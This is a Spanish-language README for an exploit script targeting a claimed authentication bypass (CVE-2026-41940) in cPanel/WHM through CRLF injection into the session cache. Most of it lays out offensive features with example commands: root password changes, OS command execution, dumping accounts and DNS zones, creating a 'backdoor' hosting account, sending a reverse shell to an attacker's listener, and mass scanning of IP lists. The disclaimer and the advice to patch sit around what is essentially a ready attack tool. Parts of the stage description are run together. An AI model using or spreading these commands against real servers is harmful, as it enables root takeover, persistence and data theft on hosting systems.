
cPanel/WHM Bypass de Autenticación (Vulnerabilidad de Día Cero)
Aviso legal: Este documento y el script asociado (
exploit.py) se proporcionan estrictamente con fines educativos, investigación de seguridad y pruebas de penetración autorizadas. No utilice este software contra sistemas que no posea o para los que no tenga permiso explícito de prueba.
exploit.py es un script que demuestra una vulnerabilidad de omisión de autenticación (CVE-2026-41940) en cPanel y WHM. La vulnerabilidad permite a un atacante no autenticado inyectar una sesión root en la caché del daemon mediante una falla de inyección CRLF, otorgando finalmente acceso WHM a nivel root sin requerir credenciales válidas.
El exploit funciona aprovechando una vulnerabilidad de inyección CRLF (Retorno de carro y avance de línea) dentro del mecanismo de manejo de autenticación básica, combinada con una falla de propagación de sesión. El script automatiza el ataque en cuatro etapas:
/login/ o /cgi/login.cgi) para adquirir una cookie de sesión no autenticada de referencia (whostmgrsession).cpsrvd. La respuesta de redirección del servidor filtra el token de seguridad generado (cpsess).do_token_denied para propagar la sesión forjada en la caché del daemon, convirtiéndola en una sesión autenticada válida./json-api/version) usando la sesión forjada para confirmar el acceso a nivel root.requestspip install requests
python exploit.py --target <URL> [options]
python exploit.py --target-file <FILE> [options]
| Argumento | Descripción |
|---|---|
--target URL | URL única de WHM (p. ej., https://target:2087) |
--target-file FILE | Archivo con objetivos (un ip:puerto por línea) — activa automáticamente el modo de comprobación |
| Argumento | Descripción |
|---|---|
--threads N | Hilos concurrentes para el modo de múltiples objetivos (predeterminado: 10) |
--hostname HOST | Sobrescribir la cabecera Host — úselo cuando la detección automática falle o devuelva un nombre de host incorrecto |
--timeout N | Tiempo de espera por solicitud en segundos (predeterminado: 15) |
--retries N | Número de reintentos en errores de red (predeterminado: 3) |
--cookie-name NAME | Forzar un nombre específico de cookie de sesión (se detecta automáticamente si se omite) |
--no-verify | Omitir la verificación de la Etapa 4 y continuar de todos modos |
| Argumento | Descripción |
|---|---|
--check | Modo de solo comprobación: verifica la vulnerabilidad sin explotar (se establece automáticamente con --target-file) |
--password PASS | Cambiar la contraseña de root a PASS |
--api FUNC | Llamar a una función específica de la API JSON de WHM |
--api-params K=V,... | Parámetros separados por comas para --api |
--exec CMD | Ejecutar un comando del sistema operativo a través de WHM scripts/run_script (alternativa: rawexec) |
--session | Generar una URL de inicio de sesión root de un clic — ábrala inmediatamente, el token expira rápido |
--shell | Entrar en un shell interactivo de WHM (solo objetivo único) |
--dump | Volcar información del servidor: versión, cuentas, zonas DNS, privilegios |
--add-user USER PASS DOMAIN | Crear una nueva cuenta de alojamiento cPanel |
--revshell LHOST LPORT | Enviar una shell inversa de bash a su listener |
| Argumento | Descripción |
|---|---|
--output FILE | Guardar el token de sesión y los detalles en un archivo JSON |
# Check if target is vulnerable
python exploit.py --target https://target:2087 --check
# Dump server info (version, accounts, privileges)
python exploit.py --target https://target:2087 --dump
# Generate a one-click root login URL (paste in browser immediately)
python exploit.py --target https://target:2087 --session
# Execute a command
python exploit.py --target https://target:2087 --exec "id"
# Drop into an interactive WHM shell
python exploit.py --target https://target:2087 --shell
# Change root password
python exploit.py --target https://target:2087 --password 'NewP@ss!'
# Call WHM API directly
python exploit.py --target https://target:2087 --api version
python exploit.py --target https://target:2087 --api listaccts --api-params api.version=1
# Create a backdoor cPanel account
python exploit.py --target https://target:2087 --add-user myuser 'Pass123!' example.com
# Send reverse shell
python exploit.py --target https://target:2087 --revshell YOUR_IP 4444
# Override hostname (use when auto-discovery fails)
python exploit.py --target https://1.2.3.4:2087 --hostname whm.server.net --check
# Scan multiple targets (check-only mode)
python exploit.py --target-file ips.txt
python exploit.py --target-file ips.txt --threads 20
# Save session to file
python exploit.py --target https://target:2087 --dump --output results.json
Al usar --shell, están disponibles los siguientes comandos:
| Comando | Descripción |
|---|---|
api <function> [k=v ...] | Llamar a una función de la API JSON de WHM (p. ej., api version) |
exec <command> | Ejecutar un comando del sistema operativo a través de WHM (p. ej., exec id) |
passwd <newpass> | Cambiar la contraseña de root |
dump | Volcar información del servidor |
revshell <lhost> <lport> | Enviar una shell inversa |
add <user> <pass> <domain> | Crear una cuenta de cPanel |
save <path> | Guardar la sesión actual en un archivo |
exit / quit | Salir del shell |
Actualice inmediatamente los últimos parches de seguridad de cPanel/WHM.